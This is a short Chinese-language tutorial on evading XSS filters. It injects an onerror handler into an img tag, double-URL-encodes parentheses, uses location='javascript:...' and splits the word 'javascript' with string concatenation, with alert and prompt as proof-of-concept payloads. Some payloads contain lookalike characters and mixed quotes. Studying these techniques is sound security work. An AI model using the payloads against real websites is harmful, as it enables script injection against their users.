过滤的绕过

一、在符号过滤的情况下使页面弹窗
1、get传参的方式首先检查能否逃逸。
2、传参在img标签中且可以逃逸，img标签中图片出错触发JavaScript中的onerror事件可以利用。
3、在url中传输 ?xss=111" οnerrοr="alert(1) F12查看Elements中的img标签发现括号被过滤，需要用到url编码来绕过字符的过滤。

4、url传输?xss=111" οnerrοr=“alert%281%29 编码之后使用F12查看发现括号依然被过滤，以为url在传输之前会先编码一次导致语句还是以括号的形式进入的程序，导致括号再次被过滤。
5、url传输?xss=111” οnerrοr=“alert%25281%2529 使用F12发现括号以编码的形式被传输在img标签，但是弹窗依然没有实现。因为js不可以编码括号，所以使用location来完善一下。

6、url传输 ?xss=111” οnerrοr=location=“javascript:alert%25281%2529 可以看出弹窗已经实现，location函数可以使右边内容转化为字符。

二、在符号、关键字过滤的情况使页面弹窗
1、url传输?xss=111”%20οnerrοr=location=“javasc”%2b"ript:al"%2b"ert%25281%2529 可以看出弹窗实现，这里使用了字符串拼接的方法进行了关键字的绕过。其中%2b是字符+的url编码，js中的字符拼接也是使用+字符来实现的。

2、url传输?xss=111"%20οnerrοr=location=“javasc”%2b"ript:prompt%25281%2529 可以发现弹窗也可以实现，这里使用了其他的弹窗方法绕过，所以也可以使用其他未过滤且功能相同的方法来绕过。